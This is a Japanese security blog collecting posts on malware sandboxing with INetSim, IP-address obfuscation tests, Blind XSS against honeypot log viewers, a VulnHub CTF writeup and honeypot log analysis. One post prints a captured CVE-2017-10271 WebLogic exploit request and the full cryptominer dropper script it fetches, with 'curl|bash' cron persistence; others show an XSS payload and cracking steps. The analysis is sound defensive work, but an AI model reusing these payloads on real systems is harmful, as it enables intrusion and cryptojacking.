おふとん

IT全般、セキュリティとかCTFとかに偏りがち

INetSimにおいてドメインによってレスポンスを変える方法

1.前提

INetSimはDNSSMTP(S)、FTP(S)、HTTP(S)、POP3(S)など様々なサービスを模倣してくれるソフトウェアです。
例えばマルウェアのC2サーバを解析したい場合は、DNSの設定でデフォルト値を192.168.100.3にすると全ての名前解決が192.168.100.3で返されます。
f:id:yu_sh38:20181007042925p:plain

2.問題

INetSimはHTTPリクエストに対してデフォルトの設定の場合、固定のページを返します。
f:id:yu_sh38:20181007032325p:plain
よってマルウェアがC2サーバに情報を送信した後に、C2サーバが返すレスポンスを受け取った後のマルウェアの挙動はこの手法では見ることが出来ません。

ただC2サーバの挙動が完全に分かっていなければレスポンスを模倣することが出来ないため、ここでの問題とは別です(インターネットに繋がっている環境で解析するのは他人に迷惑をかけるのでダメ絶対)

今回問題となったのはある検体がC2サーバに送っている以下の情報です。
f:id:yu_sh38:20181007034353p:plain

見事なまでに先ほどのデフォルトのページがIP部分に入り込んでいますね...
この検体ではそのまま送信されましたが、検体によってはこの時点で解析環境だと判断し、動作を中断するものも存在します。

3.原因

これらの検体はホストのグローバルIPを取得するために(解析環境判別も兼ねている?)まずapi.ipify.orgにアクセスします。このAPIは悪質なものではなく、外から見た自分のIPアドレスを返す公開APIです。マルウェアはこのAPIを用いて感染ホストのグローバルIPを判別し、C2サーバに送信しています。
f:id:yu_sh38:20181007034800p:plain

しかしながらこの環境では全ての名前解決が192.168.100.3に返されるため、この通信のレスポンスもデフォルトのページとなってしまっています。その結果があの哀れなIPアドレスです。

4.解決?

INetSimのHTTPサーバの模倣で、パターンマッチで特定のページを返すような機能はないか調べました。その結果、/etc/inetsim/inetsim.confにおいて

デフォルト設定:http_default_fakefile <リソース名> <MIMEタイプ>
拡張子マッチング:http_fakefile <拡張子> <リソース名> <MIMEタイプ> 
Pathマッチング:http_static_fakefile <Path> <リソース名> <MIMEタイプ>

によって返すページを動的に変えることが出来るようです。

しかしながら今回の問題では
デフォルト設定:デフォルトでIPアドレスのみを返すような設定は他の問題を招くかもしれない
拡張子マッチング:拡張子を指定していないアクセス
Pathマッチング:"/"へのアクセスはデフォルト設定に近いので同じ理由で無し

よって今回はDNSの設定で解決しました。
/etc/inetsim/inetsim.confに

dns_static api.ipify.org 192.168.100.4

と書き加え、新たにホスト192.168.100.4を仮想環境内に作成しました。
そして192.168.100.4でもHTTPサーバを建て、IPを返すような処理を行うことで解決しました。
f:id:yu_sh38:20181007042559p:plain

5.課題

様々なサイトへアクセスする検体の場合、その分だけホストが必要になるのでは?
→現状だとそうなってしまいます...Hostヘッダを見て処理を変えるのは出来るはずなので必要となったら調べたい

IPアドレスの難読化

[環境]

MacOS High Sierra(10.13.4)

[対象]

pingコマンド
curlコマンド
Safari(11.1)を使ったアクセス

[操作]

上記の対象からIPアドレスを使ってコマンド実行、及びアクセスを行う時にどこまで許容されるかを確かめる。
pingping [IPアドレス]
curlcurl http://[IPアドレス]/
Safaricurlで指定したURLをアドレスバーに打ち込んでアクセスを行う。

ここで使うIPアドレス192.168.0.30とする。

[パターン]

1.通常(10進数):192.168.0.30

一般的な指定方法
勿論、全て正確に実行された。

2.10進数(ドット無し):192168030

パターン1から"."を削除
全て11.116.64.94へのアクセスを行なった(後述:パターン9)

$ ping 192168030
PING 192168030 (11.116.64.94): 56 data bytes

3.10進数ドット無し(3バイト調整):192168000030

パターン2の各要素を3バイトになるように調整
pingcurlでは190.26.250.30にアクセスを行った(後述:パターン9)

$ ping 192168000030
PING 192168000030 (190.26.250.30): 56 data bytes

Safariのアクセスの場合は、アドレスが無効と表示

4.2進数:11000000.10101000.0.11110

パターン1の2進数化
全て無効なアドレス、その他2進数を使った表現はどれも通らなかった

5.8進数(4バイト調整):0300.0250.0000.0036

各要素を8進数にして、4バイトになるように0で埋める
pingSafariの場合は正確にアクセスされた
curlの場合も192.168.0.30にはリクエストが飛んでいるがApacheの問題か400となる(Safariの場合は200)

$ curl http://0300.0250.0000.0036/ -verbose
*   Trying 192.168.0.30...
* TCP_NODELAY set
* Connected to 0300.0250.0000.0036 (192.168.0.30) port 80 (#0)
> GET / HTTP/1.1
> Host: 0300.0250.0000.0036
> User-Agent: curl/7.54.0
> Accept: */*
> Referer: rbose
> 
< HTTP/1.1 400 Bad Request
< Date: Mon, 24 Sep 2018 13:40:36 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< Content-Length: 347
< Connection: close
< Content-Type: text/html; charset=iso-8859-1

6.16進数:C0.A8.00.1E

パターン1の要素を単純に16進数化しただけ
全て無効なアドレス

7.16進数(0xあり):0xC0.0xA8.0x00.0x1E

16進数であることを明示的に表すために0xを付ける
挙動はパターン5と同様でcurlでもリクエストは192.168.0.30には飛んでいる

8.16進数(ドット無し):0xC0A8001E

全て正確に実行された。

$ curl http://0xC0A8001E/ -verbose
*   Trying 192.168.0.30...
* TCP_NODELAY set
* Connected to 0xC0A8001E (192.168.0.30) port 80 (#0)
> GET / HTTP/1.1
> Host: 0xC0A8001E
> User-Agent: curl/7.54.0
> Accept: */*
> Referer: rbose
> 
< HTTP/1.1 200 OK
< Date: Mon, 24 Sep 2018 13:53:55 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< Last-Modified: Sun, 23 Sep 2018 21:14:39 GMT
< ETag: "131-576905c5295af"
< Accept-Ranges: bytes
< Content-Length: 305
< Content-Type: text/html; charset=UTF-8

9.10進数(特殊):3232235550

パターン8を1つの16進数の数値と見なして、10進数に再度変換する
結果はパターン5などと同様にしてcurlは400が返ったが正確にアクセスされている
またパターン2,3はこの形式として処理された結果、意図していないIPアドレスにアクセスしたと考えられる

[考察]

Safaricurlの挙動の違いはHostヘッダの値だと思われます
パターン9のhttp://3232235550/にアクセスする際に
curlの場合はHost: 3232235550となっていますが
Safariの場合は192.168.0.30に変換した上でリクエストが送信されていました
f:id:yu_sh38:20180924231357p:plain

400エラーは恐らくHostヘッダーの値を上手くApacheが解釈出来ないのだと思われます
しかし、だとしたらパターン8で成功するのは面白いですね...

これ使って何かをバイパス出来ないかなと思いましたが、送信元IPを偽装出来るだけでもなく
Hostヘッダーを難読化出来るだけなので用途はかなり限られてきそうです

現状では何かしら使えそうな時が来たら見直す、メモ程度_:(´ཀ`」 ∠):

ハニーポットを運用する上で気を付けなければならない攻撃手法(Blind XSS)

ハニーポットで得たログはそのままでは見辛いです。
なのでログを整形してWebページなどに出力して解析を行っている方は多いのではないでしょうか?
私もどこでも見ることが出来るという理由からWebページにしています。


その際に考えなければならない攻撃としてBlind XSSという手法があります。
名前からするとBlind SQL injectionのXSS版のように感じますが、実態は違います。
Blind XSSはいわゆるpersistent型(stored型、蓄積型)のXSSですが、一般的なpersistent型は以下のようになります。
f:id:yu_sh38:20180915204918p:plain


このように一般的なpersistent型がWebサイトの訪問者を対象にしているのに対して、Blind XSSはWebサイトの管理者を対象にしています。


以下のようなアクセスがあった場合のログはどのようになるでしょうか?

GET /<script>alert(test)</script>

User-Agentなどでも同様ですが、どのような形にせよログにスクリプトが入って来ます。


このログをWebページに出力しようとすると実装によってはスクリプトが発火する可能性があります。
このようにBlind XSSとはWebページに対してではなく、攻撃者のコードが何らかの形でWebサーバに保存され、それを他のアプリケーションで読みんだ時に発火するXSSです。
なので場合によってはWAFなどでも発火するようです(これは酷い)


ハニーポット運用の敷居が低くなっているからこそ、このような攻撃に気をつけて決して攻撃者側に加担することなくハニーポットライフを楽しみましょう!!

ハニーポットに来るような攻撃者はどれくらい稼いでいるのか

先日ハニポに来たこのログ

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Content-Length: 760

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget -q -O /var/tmp/db.sh http://xxx.xxx.xxx.xxx/db.sh | bash</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>


お馴染みのCVE-2017-10271の脆弱性を狙った攻撃ですがこの攻撃でダウンロードされるファイルdb.shの構造は以下のようになっています。

echo ""
cd /var/tmp/
rm -rf db.sh.*
rm -rf neptune*
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
function rop() {
        if [ ! -f "neptune" ] ;then
                wget http://xxx.xxx.xxx.xxx/pluto -O neptune && chmod +x neptune
                if [ ! -f "neptune" ] ;then
                        wget http://xxx.xxx.xxx.xxx/pluto -O neptune && chmod +x neptune
                        rm -rf neptune.*
                fi
                nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
        else
                p=$(ps aux | grep neptune | grep -v grep | wc -1)
                if [ ${p} -eq 1 ];then
                        echo "neptune"
                elif [ ${p} -eq 0 ];then
                        nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
                else
                        echo ""
                fi
        fi
}
echo ""
echo ""
function drop() {
        if [ ! -f "neptune" ] ;then
                curl http://xxx.xxx.xxx.xxx/pluto > neptune && chmod +x neptune
                if [ ! -f "neptune" ] ;then
                        curl http://xxx.xxx.xxx.xxx/pluto > neptune && chmod +x neptune
                        rm -rf neptune.*
                fi
                nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
        else
                p=$(ps aux | grep neptune | grep -v grep | wc -1)
                if [ ${p} -eq 1 ];then
                        echo "neptune"
                elif [ ${p} -eq 0 ];then
                        nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
                else
                        echo ""
                fi
        fi
}
echo ""
echo ""
function CRON() {
        if [ -x /usr/bin/curl ] ;then
                echo "*/8 * * * * curl http://xxx.xxx.xxx.xxx/db.sh | bash" > .db.cron
                if [ "sh $basepath/pay.sh &" = "$(cat /etc/rc.local | grep $basepath/pay.sh | grep -v grep)" ]; then
                        echo ""
                else
                        echo "*/10 * * * * curl http://xxx.xxx.xxx.xxx/db.sh | bash" >> /etc/crontab
        elif [ -x /usr/bin/wget ] ;then
                echo "*/8 * * * * wget http://xxx.xxx.xxx.xxx/db.sh | bash " > .db.cron
                if [ "sh $basepath/pay.sh &" = "$(cat /etc/rc.local | grep $basepath/pay.sh | grep -v grep)" ]; then
                        echo ""
                else
                        echo "*/10 * * * * wget http://xxx.xxx.xxx.xxx/db.sh | bash" >> /etc/crontab
        else
                exit 0;
        fi
        crontab -r
        crontab .db.cron
        rm .db.cron
}
echo ""
function RON() {
        if [ -x /usr/bin/curl ] ;then
                drop
        elif [ -x /usr/bin/wget ] ;then
                rop
        else
                exit 0;
        fi
}
CRON
RON


自身や他の同種の検体を削除したり、cronに組み込んで定期的に実行させたりと見るべき点はいくつかありますが今回興味があったのはこの部分です。

./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &


要はどのプール、アドレスでマイニングを行うかですがこの攻撃者はアドレスに4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkmを指定しています。
このアドレスについて調べてみると


f:id:yu_sh38:20180831215540p:plain
2ヶ月で1.0XMRくらい、XMRって今いくらくらいするんでしょうか...



f:id:yu_sh38:20180831215842p:plain


(´・ω・`)

Node1 Writeup

https://ohuton.hatenadiary.jp
の続き

この記事はWriteupです。
本問題のネタバレになってしまうので
それを理解の上で見てください。
また引き続きツールの導入や使用法は省略



まず目標は以下のようになります
目標:ユーザー、rootのflagを見つける
これは
userのflag:一般ユーザーでログインする
rootのflag:一般ユーザーから権限昇格する

と言い換えることも可能でほとんどの問題がこの流れだと思われます。
よってまずはSSHなどでログインすることを目標とします。

1.ポートスキャン

まずは作成したホストオンリーネットワークから対象となるホストを探します。
今回は1つ余計なホストが紛れ込んでいますが結果的には192.168.58.4でした。

$ sudo nmap -sP 192.168.58.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 00:43 JST
Nmap scan report for 192.168.58.2
Host is up (0.000090s latency).
MAC Address: 08:00:27:C4:9A:3C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.58.4
Host is up (0.00022s latency).
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.58.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.57 seconds


次に開いているポートを探します。

$ sudo nmap -sS -Pn -O -A 192.168.58.4
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 00:52 JST
Nmap scan report for 192.168.58.4
Host is up (0.00031s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.58.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds


様々な情報が出て来ますが最低限22/tcpssh、3000/tcpでhttpが動いているのさえ把握出来れば問題ないです。
またこれらのスキャンは決して外部には撃たないように気を付けて下さい。

2.Webサーバにアクセス

f:id:yu_sh38:20180830193338p:plain
f:id:yu_sh38:20180830193409p:plain
http//192.168.58.4:3000にアクセスするとトップページとログインフォームのページが確認出来ます。


まずはフォームに対してSQLインジェクションを試行しました。
POSTでJSON形式のユーザー名とパスワードを送信する方式なので

POST /api/session/authenticate HTTP/1.1
Host: 192.168.58.4:3000
Content-Type: application/json

{"username":"1","password":"1"}

で作成したjsonpost.txtを使用して

$ python sqlmap.py http://192.168.58.4:3000/api/session/authenticate -r jsonpost.txt

で実行しましたが脆弱性はありませんでした。


その後、NiktoやDirbを用いてWebページの構造を調べましたが大した成果はなし、結局手動でスクリプトの欄からユーザーリストのようなものを見つけました。良い感じにクローリングしてくれるツールとかありそう。


f:id:yu_sh38:20180830195238p:plain
するとユーザー名とパスワードのハッシュ一覧がありましたので登録してあるハッシュ値ならデコード出来るサイトでハッシュ値からパスワードを復元しました。
このパスワードを用いてログインするとadmin権限がある場合はmyplace.backup.txtがダウンロード出来ます。
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

3.backupファイル解析

f:id:yu_sh38:20180830201435p:plain
myplace.backup.txtを見ると内容が分かりません。文字種からBase64エンコードだと判断し、CyberChefを用いて復号化しました。
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)



f:id:yu_sh38:20180830201644p:plain
一定文字数を超えるとダウンロードのみになるんですね...(初めて見ました)
これをdownload.datとして保存します。


f:id:yu_sh38:20180830202130p:plain
vimでdownload.datを開くと先頭がPKから始まっていたためZIP Formatだと判断し、拡張子をzipに変更します。


f:id:yu_sh38:20180830202147p:plain
...ですよね。

$ ./john-1.8.0-jumbo-1/run/john --wordlist=./john-1.8.0-jumbo-1/run/wordlist.txt ./list.hashes 
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (download.zip)
1g 0:00:00:00 DONE (2018-08-30 20:25) 16.66g/s 3048Kp/s 3048Kc/s 3048KC/s majid..madeli
Use the "--show" option to display all of the cracked passwords reliably
Session completed

John The Ripperを使ってパスワードを解読します。ここが中々、上手くいくリストが無く苦労しました。
John The Ripperはリストの組み合わせまではしてくれないんですね。
解凍したフォルダを探索するとapp.jsに以下のような部分が存在します。


f:id:yu_sh38:20180830203628p:plain
MongoDBへのURLです。SSHログインのssh://user:pass@ip/repo/の記法で見ることはあるかと思います。
ここでmarkがDBサーバとubuntuのログインパスワードを一緒のものにしていると考えubuntuにログインを試行します。


f:id:yu_sh38:20180830203919p:plain
行けました。パスワードの使い回し怖いですね...


4.権限昇格

解け次第追記
Privilege Escalation - ATT&CK for Enterprise
これらのどれかがハマるんでしょうね。
にしてもこれペネトレーションテストではなく完全にCTFでは()

ペネトレーションテスト練習サイト(VulnHub)

VulnHubはペネトレーションテスト練習用のイメージを配布しているサイトです。
Vulnerable By Design ~ VulnHub

配布形式はova形式でVirtualBoxVMwareで稼働確認されているようです。
今回使ったのは以下の環境で、現在(2018/08/30)で最新のNode:1(https://www.vulnhub.com/entry/node-1,252/)に挑戦しました。
以降、細かいツールの導入方法などは省略します。

[環境]
OS X High Sierra
Virtual Box 5.2.14

1.仮想環境のインポート

f:id:yu_sh38:20180829230825p:plain
ファイル->仮想アプライアンスのインポートからダウンロードしたovaファイルを読み込むだけで設定まで読み込まれます。

2.ホストオンリーネットワークの作成、設定

f:id:yu_sh38:20180829231200p:plain
ファイル->ホストネットワークマネージャーを起動


f:id:yu_sh38:20180829231459p:plain
作成を押すと自動的にホストオンリーネットワークが作成されます。


f:id:yu_sh38:20180830001646p:plain
あとはインポートした仮想環境の設定->ネットワークからホストオンリーアダプタに変更するだけです。


起動するとログインは出来ませんがDHCPでIPが割り振られ、サービスが起動するみたいですが私の環境ではリカバリーモードで起動してネットワークを選択しないと動きませんでした。


ホストオンリーアダプタは192.168.58.1なので仮想環境は大体の場合、192.168.58.2あたりに割り振られます。(Writeupでは192.168.58.3)


以降はWriteup編で、自身で解いてみたい方はネタバレになるので気をつけてください。

S2-057(CVE-2018-11776)の調査通信で特徴的だったもの

左から日時、送信元、送信先(黒塗り)、リクエスト...の形式です。
WOWHoneypotなので最後にデコードしたログへのリンクやら。
ハニーポットは影響範囲の広い脆弱性が出ない場合は同じようなログが続いてしまうため
このIPからは以前はどのような攻撃が来ているかなど視点を変えてみたいので試行錯誤中。

今回は2つのログに着目しました。どちらもS2-057関係のログだと思われます。

[ログ1]

f:id:yu_sh38:20180826012956j:plain

[ログ2]

f:id:yu_sh38:20180826011526j:plain

まずログ1のような通信は同様のものが何件も来ました。
よって出回っている単純なツールだと思っていたのですがログ2では複数IPから行われています。

これを見て単純なツールではないと判断したのですがIPどうなってるんですか...

Project Honey Potさん曰く、ここら辺のIP群は調査通信のみで害はないのだと
このIP群でスキャンをかけて他のIPから攻撃を行っているようにも見えますが...
https://www.projecthoneypot.org/ip_42.236.10.106

送信元IPアドレスで時系列でログを管理するのは小規模な攻撃者に対しては有効ですが
頻繁にIPを変えたり、スキャンと攻撃を違うIPで行う場合などは実態が見えづらいです。

実際今回ハニーポットにS2-057(CVE-2018-11776)の${1+1}などではなく任意コード実行を仕掛けて来たのは今までアクセスのなかったIPアドレスでした。

こんな時こそ機械学習で上手い感じに関連のあるIPアドレスクラスタリング出来たらかっこいいですね。
似たような研究はありそうですし、解析環境については休日に色んな方面からもう少し詰めたいです。

色んな方のログの管理方法、分析方法聞いてみたい